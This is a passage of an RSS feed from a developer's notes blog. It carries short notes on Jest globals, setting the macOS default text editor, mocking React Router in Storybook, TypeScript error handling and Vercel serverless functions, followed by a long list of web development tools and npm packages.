</content:encoded><author>Zander Martineau</author></item><item><title>Jest globals</title><link>https://zander.wtf/notes/jest-globals/</link><guid isPermaLink="true">https://zander.wtf/notes/jest-globals/</guid><pubDate>Fri, 10 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;import { expect, test } from &apos;@jest/globals&apos;

test(&apos;two plus two is four&apos;, () =&amp;gt; {
  expect(2 + 2).toBe(4)
})
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><category>react</category><category>testing</category><author>Zander Martineau</author></item><item><title>Changing the default text editor on macOS</title><link>https://zander.wtf/notes/change-default-text-editor-mac/</link><guid isPermaLink="true">https://zander.wtf/notes/change-default-text-editor-mac/</guid><description>The command line trick works for all text files across the whole system, including hidden files, and I never have to think about it again</description><pubDate>Wed, 19 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The command line trick works for all text files across the whole system, including hidden files, and I never have to think about it again&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# VS Code
defaults write com.apple.LaunchServices/com.apple.launchservices.secure LSHandlers -array-add &apos;{LSHandlerContentType=public.plain-text;LSHandlerRoleAll=com.microsoft.VSCode;}&apos;

# Sublime Text 4
defaults write com.apple.LaunchServices/com.apple.launchservices.secure LSHandlers -array-add &apos;{LSHandlerContentType=public.plain-text;LSHandlerRoleAll=com.sublimetext.4;}&apos;

# Sublime Text 3
defaults write com.apple.LaunchServices/com.apple.launchservices.secure LSHandlers -array-add &apos;{LSHandlerContentType=public.plain-text;LSHandlerRoleAll=com.sublimetext.3;}&apos;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Mock React Router location inside Storybook stories</title><link>https://zander.wtf/notes/mock-react-router-storybook/</link><guid isPermaLink="true">https://zander.wtf/notes/mock-react-router-storybook/</guid><description>With a component like this: And a story like this: The story should render this:</description><pubDate>Fri, 14 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With a component like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useParams } from &apos;react-router&apos;

export const ParamsComponent = ({ firstName, lastName }) =&amp;gt; {
  const params = useParams&amp;lt;{ id: string }&amp;gt;()
  return &amp;lt;div&amp;gt;{JSON.stringify(params, null, 2)}&amp;lt;/div&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And a story like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import React from &apos;react&apos;
import { MemoryRouter, Route } from &apos;react-router&apos;
import { ParamsComponent } from &apos;./ParamsComponent&apos;

export default {
  title: &apos;ParamsComponent&apos;,
  component: ParamsComponent,
}

export const Default = () =&amp;gt; {
  return (
    &amp;lt;MemoryRouter initialEntries={[&apos;/user/108&apos;]}&amp;gt;
      &amp;lt;Route path=&quot;/user/:id&quot;&amp;gt;
        &amp;lt;UserCard /&amp;gt;
      &amp;lt;/Route&amp;gt;
    &amp;lt;/MemoryRouter&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The story should render this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{ id: &apos;108&apos; }
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>storybook</category><category>react</category><author>Zander Martineau</author></item><item><title>TypeScript catch block errors</title><link>https://zander.wtf/notes/typescript-catch/</link><guid isPermaLink="true">https://zander.wtf/notes/typescript-catch/</guid><description>Basic example This example does not extract logic from the catch block Extract the error handling logic More robust example The above solution might not…</description><pubDate>Mon, 06 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Basic example&lt;/h2&gt;
&lt;p&gt;This example does not extract logic from the catch block&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;try {
  // something that might throw
} catch (error: unknown) {
  // do something with the error message
  if (error instanceof Error) {
    return error.message
  }
  return String(error)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Extract the error handling logic&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const getErrorMessage = (error: unknown) =&amp;gt; {
  if (error instanceof Error) return error.message
  return String(error)
}

const reportError = ({ message }: { message: string }) =&amp;gt; {
  // send the error to our logging service...
}

try {
  throw new Error(&apos;Oh no!&apos;)
} catch (error) {
  const errorMessage = getErrorMessage(error)
  console.error(`🚀 ~ errorMessage`, errorMessage)

  // we&apos;ll proceed, but let&apos;s report it
  reportError({ message: errorMessage })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;More robust example&lt;/h2&gt;
&lt;p&gt;The above solution might not fit all cases, since many frameworks throw errors that comply to the &lt;code&gt;Error&lt;/code&gt; api, but aren&apos;t instance of &lt;code&gt;Error&lt;/code&gt;. &lt;a href=&quot;https://github.com/kentcdodds/kentcdodds.com/issues/206&quot;&gt;🔗&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type ErrorWithMessage = {
  message: string
}

const isErrorWithMessage = (error: unknown): error is ErrorWithMessage =&amp;gt; {
  return (
    typeof error === &apos;object&apos; &amp;amp;&amp;amp;
    error !== null &amp;amp;&amp;amp;
    &apos;message&apos; in error &amp;amp;&amp;amp;
    typeof (error as Record&amp;lt;string, unknown&amp;gt;).message === &apos;string&apos;
  )
}

const toErrorWithMessage = (maybeError: unknown): ErrorWithMessage =&amp;gt; {
  if (isErrorWithMessage(maybeError)) return maybeError

  try {
    return new Error(JSON.stringify(maybeError))
  } catch {
    // fallback in case there&apos;s an error stringifying the maybeError
    // like with circular references for example.
    return new Error(String(maybeError))
  }
}

const getErrorMessage = (error: unknown) =&amp;gt; {
  return toErrorWithMessage(error).message
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Usage&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try {
  throw new Error(&apos;Oh no!&apos;)
} catch (error) {
  const errorMessage = getErrorMessage(error)
  console.error(`🚀 ~ errorMessage`, errorMessage)
  // we&apos;ll proceed, but let&apos;s report it
  reportError({ message: errorMessage })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Some very detailed info can be found at https://joefallon.net/2018/09/typescript-try-catch-finally-and-custom-errors/&lt;/p&gt;
</content:encoded><category>typescript</category><author>Zander Martineau</author></item><item><title>Vercel Serverless functions</title><link>https://zander.wtf/notes/vercel-serverless-functions/</link><guid isPermaLink="true">https://zander.wtf/notes/vercel-serverless-functions/</guid><description>Basic example With JavaScript With TypeScript Enabling CORS https://vercel.com/support/articles/how-to-enable-cors</description><pubDate>Mon, 06 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Basic example&lt;/h2&gt;
&lt;h3&gt;With JavaScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// /api/test.js
const handler = (request, response) =&amp;gt; {
  response.status(200).json({
    body: request.body,
    query: request.query,
    cookies: request.cookies,
  })
}

export default handler
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// /api/test.ts
import { VercelApiHandler } from &apos;./types&apos;

const handler: VercelApiHandler = (request, response) =&amp;gt; {
  response.status(200).json({
    body: request.body,
    query: request.query,
    cookies: request.cookies,
  })
}

export default handler
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Enabling CORS&lt;/h2&gt;
&lt;p&gt;https://vercel.com/support/articles/how-to-enable-cors&lt;/p&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Awesome Web Dev resources</title><link>https://zander.wtf/notes/awesome-web-dev-resources/</link><guid isPermaLink="true">https://zander.wtf/notes/awesome-web-dev-resources/</guid><description>General resources Devdocs.io: Fast, offline, and free documentation browser for developers. Search 100+ docs in one web app: HTML, CSS, JavaScript, PHP,…</description><pubDate>Thu, 11 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;/p&gt;
&lt;h1&gt;General resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://devdocs.io/&quot;&gt;Devdocs.io&lt;/a&gt;: Fast, offline, and free documentation browser for developers. Search 100+ docs in one web app: HTML, CSS, JavaScript, PHP, Ruby, Python, Go, C, C++…&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://devhints.io/&quot;&gt;DevHints&lt;/a&gt;: cheatsheets for many web technologies&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://carbon.now.sh/?bg=rgba(171,%20184,%20195,%201)&amp;amp;t=seti&amp;amp;l=auto&amp;amp;ds=true&amp;amp;wc=true&amp;amp;wa=true&amp;amp;pv=32px&amp;amp;ph=32px&amp;amp;ln=false&quot;&gt;Carbon&lt;/a&gt;: use this to share images of your code in presentations etc&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://badgen.net/&quot;&gt;Badgen&lt;/a&gt;: &lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://shields.io/&quot;&gt;Shields.io&lt;/a&gt;:  to your documentation/readmes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/k88hudson/git-flight-rules&quot;&gt;Git Flight Rules&lt;/a&gt;: A guide for astronauts (now, programmers using Git) about what to do when things go wrong.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/luruke/browser-2020&quot;&gt;browser-2020&lt;/a&gt;: Things you can do with a browser in 2020 ☕️&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Really useful tools&lt;/h2&gt;
&lt;p&gt;These are tools that I use often and that I find useful.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bundlephobia.com/&quot;&gt;Bundlephobia&lt;/a&gt;: Size of npm dependencies&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://transform.tools/&quot;&gt;Transform.tools&lt;/a&gt;: Transform your code with a few clicks. I most commonly use &lt;a href=&quot;https://transform.tools/json-to-typescript&quot;&gt;this tool&lt;/a&gt; to convert JSON to TypeScript interfaces&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://r12a.github.io/app-conversion/&quot;&gt;Unicode code converter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jakearchibald.github.io/svgomg/&quot;&gt;svgomg&lt;/a&gt;: SVGO&apos;s Missing GUI&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jsoneditoronline.org/beta&quot;&gt;JSON Editor Online&lt;/a&gt;: view, edit and format JSON online&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://squoosh.app/&quot;&gt;Squoosh&lt;/a&gt;: image compressor&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.epochconvert.com/&quot;&gt;Epoch Convert&lt;/a&gt;: Online Unix Timestamp Converter&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://copychar.cc/&quot;&gt;CopyChar&lt;/a&gt;: Copy special characters to your clipboard&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://yoksel.github.io/url-encoder/&quot;&gt;URL-encoder for SVG&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tiny-helpers.dev/latest/&quot;&gt;Tiny Helpers&lt;/a&gt;: A collection of free single-purpose online tools for web developers...&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kirillbelyaev.com/s/&quot;&gt;Whitespaces&lt;/a&gt; and zero width ​characters with buttons for copying to clipboard, short mnemonics and usage comments&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://css2js.dotenv.dev/&quot;&gt;CSS2JS&lt;/a&gt;: Convert CSS to JS object. There&apos;s also a good VS Code extension for this as well: &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=paulmolluzzo.convert-css-in-js&quot;&gt;CSS-in-JS&lt;/a&gt;https://marketplace.visualstudio.com/items?itemName=paulmolluzzo.convert-css-in-js&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://shadows.brumm.af/&quot;&gt;Smooth Shadow&lt;/a&gt;: Make a smooth shadow&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://crontab.guru/&quot;&gt;Crontab.guru&lt;/a&gt;: The cron schedule expression editor&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://keyjs.dev/#keyboard-events-inspector&quot;&gt;Key.js&lt;/a&gt;: JavaScript keyboard event key codes &amp;amp; key identifiers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://globster.xyz/&quot;&gt;Glob tester&lt;/a&gt;: tool for testing glob patterns&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://a11y-tools.com/markup-de-crapulator/index.html&quot;&gt;HTML De-crapulator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://px-rem-em-converter.zander.wtf/&quot;&gt;px-rem-em converter&lt;/a&gt; by me&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;📦 Finding and vetting npm packages&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://npms.io/&quot;&gt;npms&lt;/a&gt;: A better and open source search for node packages&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.pikapkg.com/&quot;&gt;pika&lt;/a&gt;: A searchable catalog of modern &quot;module&quot; packages on npm&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/maticzav/emma-cli&quot;&gt;emma&lt;/a&gt;: 📦 Terminal assistant to find and install node packages&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/harksys/npmvet&quot;&gt;npmvet&lt;/a&gt;: A simple CLI tool for vetting npm package versions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bundlephobia.com/&quot;&gt;Bundlephobia&lt;/a&gt;: See the &quot;cost&quot; of any npm package&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io&quot;&gt;Snyk&lt;/a&gt;: Find any security vulnerabilities for any npm package. Search their database here: &lt;code&gt;https://snyk.io/vuln/npm:{package}&lt;/code&gt; e.g. https://snyk.io/vuln/npm:react&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://runpkg.com/&quot;&gt;runpkg&lt;/a&gt;: Explore, learn about and perform static analysis on npm packages in the browser&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;🎨 CSS&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://css-tricks.com/snippets/css/a-guide-to-flexbox/&quot;&gt;CSS Tricks &quot;Complete Guide to Flexbox&quot;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://css-tricks.com/snippets/css/complete-guide-grid/&quot;&gt;CSS Tricks &quot;Complete Guide to Grid&quot;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://cubic-bezier.com/#.17,.67,.83,.67&quot;&gt;Cubic bezier curve creator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://matthewlein.com/ceaser/&quot;&gt;Ceaser&lt;/a&gt;: Cubic bezier curve generator&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://csstriggers.com/&quot;&gt;CSS Triggers&lt;/a&gt;: find out what CSS properties trigger Paint/Layout/Composite renders&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://websemantics.uk/tools/responsive-font-calculator/&quot;&gt;Fluid-responsive font-size calculator&lt;/a&gt;: To scale typography smoothly across viewport widths.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://browserhacks.com/&quot;&gt;Browserhacks&lt;/a&gt;: Browserhacks is an extensive list of browser specific CSS and JavaScript hacks from all over the interwebs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://codepen.io/shshaw/full/gEiDt&quot;&gt;Absolute centering&lt;/a&gt;: useful techniques for absolute centering in CSS&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hankchizljaw/modern-css-reset&quot;&gt;modern-css-reset&lt;/a&gt;: A bare-bones CSS reset for modern web development&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cssfx.netlify.com/&quot;&gt;CSSFX&lt;/a&gt;: Beautifully simple click-to-copy CSS effects&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.shapedivider.app/&quot;&gt;Shape Divider App&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;CSS-in-JS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CSS-in-JS libraries
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stitches.dev/&quot;&gt;Stitches&lt;/a&gt; — CSS-in-JS with near-zero runtime&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vanilla-extract.style/&quot;&gt;vanilla-extract&lt;/a&gt;: Zero-runtime Stylesheets-in-TypeScript&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://styled-components.com&quot;&gt;Styled Components&lt;/a&gt;: CSS-in-JS for React&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://emotion.sh/&quot;&gt;Emotion&lt;/a&gt;: CSS-in-JS library&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/callstack/linaria&quot;&gt;linaria&lt;/a&gt;: Zero-runtime CSS in JS library&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://goober.rocks/&quot;&gt;goober&lt;/a&gt;: A less than 1KB css-in-js solution&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mrmartineau/design-system-utils&quot;&gt;Design System Utils&lt;/a&gt;: Design system framework for modern front-end projects (made by me!)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://polished.js.org/&quot;&gt;Polished&lt;/a&gt;: A lightweight toolset for writing styles in JavaScript&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/brunobertolini/styled-by&quot;&gt;styled-by&lt;/a&gt;: Simple and powerful lib to handle styled props in your components&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/smooth-code/xstyled&quot;&gt;xstyled&lt;/a&gt;: Consistent theme based CSS for styled-components 💅&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://theme-ui.com&quot;&gt;Theme UI&lt;/a&gt;: Build consistent, themeable React apps based on constraint-based design principles&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;JavaScript&lt;/h1&gt;
&lt;h2&gt;Useful JS links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/34842087/91359&quot;&gt;JS module import/export syntax&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://keycode.info/&quot;&gt;JavaScript Event KeyCodes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tylermcginnis.com/javascript-visualizer/&quot;&gt;JavaScript Visualizer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://doesitmutate.xyz/&quot;&gt;Does it mutate?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jsperf.com/&quot;&gt;jsPerf&lt;/a&gt;: JavaScript performance playground&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mbeaudru/modern-js-cheatsheet&quot;&gt;modern-js-cheatsheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://htmldom.dev/&quot;&gt;HTML DOM&lt;/a&gt;: Common tasks of managing HTML DOM with vanilla JavaScript&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Framework agnostic packages&lt;/h2&gt;
&lt;h3&gt;General utilities&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lodash.com&quot;&gt;Lodash&lt;/a&gt;: A modern JavaScript utility library delivering modularity, performance &amp;amp; extras.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/angus-c/just&quot;&gt;Just&lt;/a&gt;: A library of dependency-free utilities that do just do one thing (like Lodash but smaller)
&lt;ul&gt;
&lt;li&gt;Install each util independently&lt;/li&gt;
&lt;li&gt;Read the &lt;a href=&quot;https://github.com/angus-c/just/blob/master/TRADEOFFS.md&quot;&gt;tradeoffs document&lt;/a&gt; to see if Lodash is better&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/NickGard/tiny-get&quot;&gt;tiny-get&lt;/a&gt;: A minimal-weight lodash.get equivalent utility&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.evt.land/&quot;&gt;evt&lt;/a&gt;: A type safe replacement for node&apos;s EventEmitter&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nicbell/liteready&quot;&gt;liteready&lt;/a&gt;: A lightweight DOM ready.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jaredhanson/passport&quot;&gt;passport&lt;/a&gt;: Simple, unobtrusive authentication for Node.js&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/desandro/get-size&quot;&gt;get-size&lt;/a&gt;: Get the size of elements&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/appalaszynski/length.js&quot;&gt;length.js&lt;/a&gt;: Library for length units conversion&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/saschageyer/action-outside&quot;&gt;action-outside&lt;/a&gt;: Invoke a callback function when clicked or tabbed outside one or multiple DOM elements&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/bfred-it/select-dom&quot;&gt;select-dom&lt;/a&gt;: Lightweight &lt;code&gt;querySelector&lt;/code&gt;/&lt;code&gt;All&lt;/code&gt; wrapper that outputs an Array&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/medikoo/memoizee&quot;&gt;memoizee&lt;/a&gt;: Complete memoize/cache solution for JavaScript&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/alexreardon/memoize-one&quot;&gt;memoize-one&lt;/a&gt;: A memoization library which only remembers the latest invocation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jonschlinkert/kind-of&quot;&gt;kind-of&lt;/a&gt;: Get the native JavaScript type of a value, fast.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/felixfbecker/iterare&quot;&gt;iterare&lt;/a&gt;: Array methods + ES6 Iterators =&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Rich-Harris/eases-jsnext&quot;&gt;eases-jsnext&lt;/a&gt;: A grab-bag of modular easing equations&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/paularmstrong/normalizr&quot;&gt;normalizr&lt;/a&gt;: Normalizes nested JSON according to a schema&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sindresorhus/lazy-value&quot;&gt;lazy-value&lt;/a&gt;: Create a lazily evaluated value&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/planttheidea/fast-equals&quot;&gt;fast-equals&lt;/a&gt;: A blazing fast equality comparison, either shallow or deep&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/planttheidea/fast-copy&quot;&gt;fast-copy&lt;/a&gt;: A blazing fast deep object copier&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/stipsan/compute-scroll-into-view&quot;&gt;compute-scroll-into-view&lt;/a&gt;: Utility for calculating what should be scrolled, how it&apos;s scrolled is up to you&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lukeed/arr&quot;&gt;arr&lt;/a&gt;: A collection of tiny, highly performant Array.prototype alternatives&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/fuhton/timedstorage&quot;&gt;timedstorage&lt;/a&gt;: A library for storing and expiring objects in window.localstorage&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/stevemao/left-pad&quot;&gt;left-pad&lt;/a&gt;: String left pad&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tiaanduplessis/dont-go&quot;&gt;dont-go&lt;/a&gt;: A small client-side library with zero dependencies to change the title and/or favicon of the page when it is inactive&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hybridables/always-done&quot;&gt;always-done&lt;/a&gt;: Handle completion and errors with elegance! Support for async/await, promises, callbacks, streams and observables. A drop-in replacement for async-done - pass 100% of its tests plus more&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zeit/title&quot;&gt;title&lt;/a&gt;: A service for capitalizing your title properly&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/words&quot;&gt;words&lt;/a&gt;: Linguistic javascript modules&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/davidtheclark/no-scroll&quot;&gt;no-scroll&lt;/a&gt;: Disable scrolling on an element that would otherwise scroll&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/catamphetamine/libphonenumber-js&quot;&gt;libphonenumber-js&lt;/a&gt;: A simpler (and smaller) rewrite of Google Android&apos;s libphonenumber library&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/text-mask/text-mask&quot;&gt;text-mask&lt;/a&gt;: Input mask for React, Angular, Ember, Vue, &amp;amp; plain JavaScript&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/vtex/msk&quot;&gt;msk&lt;/a&gt;: Small library to mask strings&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/davidtheclark/focus-trap&quot;&gt;focus-trap&lt;/a&gt;: Trap focus within a DOM node&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jamiebuilds/tinykeys&quot;&gt;tinykeys&lt;/a&gt;: A tiny (~400 B) &amp;amp; modern library for keybindings&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/reasonink/clack&quot;&gt;clack&lt;/a&gt;: A modern keyboard shortcut library written in Typescript
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/reasonink/clack-react&quot;&gt;clack-react&lt;/a&gt;: React support for @reasonink/clack&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ollieglass/js-humanize&quot;&gt;js-humanize&lt;/a&gt;: Humanize large numbers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sindresorhus/pupa&quot;&gt;pupa&lt;/a&gt;: Simple micro templating&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/peterpme/sub-in&quot;&gt;sub-in&lt;/a&gt;: 🥙 A tiny (115B) find-and-replace utility for strings in Javascript&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zenozeng/color-hash&quot;&gt;color-hash&lt;/a&gt;: Generate color based on the given string (using HSL color space and BKDRHash)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/aceakash/string-similarity&quot;&gt;string-similarity&lt;/a&gt;: Finds degree of similarity between two strings, based on Dice&apos;s Coefficient, which is mostly better than Levenshtein distance&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ericelliott/cuid&quot;&gt;cuid&lt;/a&gt;: Collision-resistant ids optimized for horizontal scaling and performance&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lukeed/obj-str&quot;&gt;obj-str&lt;/a&gt;: A tiny (96B) library for serializing Object values to Strings. Also serves as a faster &amp;amp; smaller drop-in replacement for the classnames module&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lukeed/clsx&quot;&gt;clsx&lt;/a&gt;: A tiny (223B) utility for constructing className strings conditionally. Also serves as a faster &amp;amp; smaller drop-in replacement for the classnames module&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xstate.js.org/docs&quot;&gt;xstate&lt;/a&gt;: State machines and statecharts for the modern web&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/onury/tasktimer&quot;&gt;tasktimer&lt;/a&gt;: An accurate timer utility for running periodic tasks on the given interval ticks or dates. (Node and Browser)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/rough-stuff/rough-notation&quot;&gt;rough-notation&lt;/a&gt;: Create and animate hand-drawn annotations on a web page&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/smlsvnssn/ouml&quot;&gt;ouml&lt;/a&gt;: ö.js is a small collection of useful stuff&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sindresorhus/is&quot;&gt;is&lt;/a&gt;: Type check values&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/MikeMcl/big.js&quot;&gt;big.js&lt;/a&gt;: A small, fast JavaScript library for arbitrary-precision decimal arithmetic&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/moxystudio/js-proper-url-join&quot;&gt;js-proper-url-join&lt;/a&gt;: Like path.join but for a URL&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Async&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/axios/axios&quot;&gt;axios&lt;/a&gt;: Promise based HTTP client for the browser and node.js
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/softonic/axios-retry&quot;&gt;axios-retry&lt;/a&gt;: Axios plugin that intercepts failed requests and retries them whenever possible&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/developit/redaxios&quot;&gt;redaxios&lt;/a&gt;: The Axios API, as an 800 byte Fetch wrapper&lt;/li&gt;
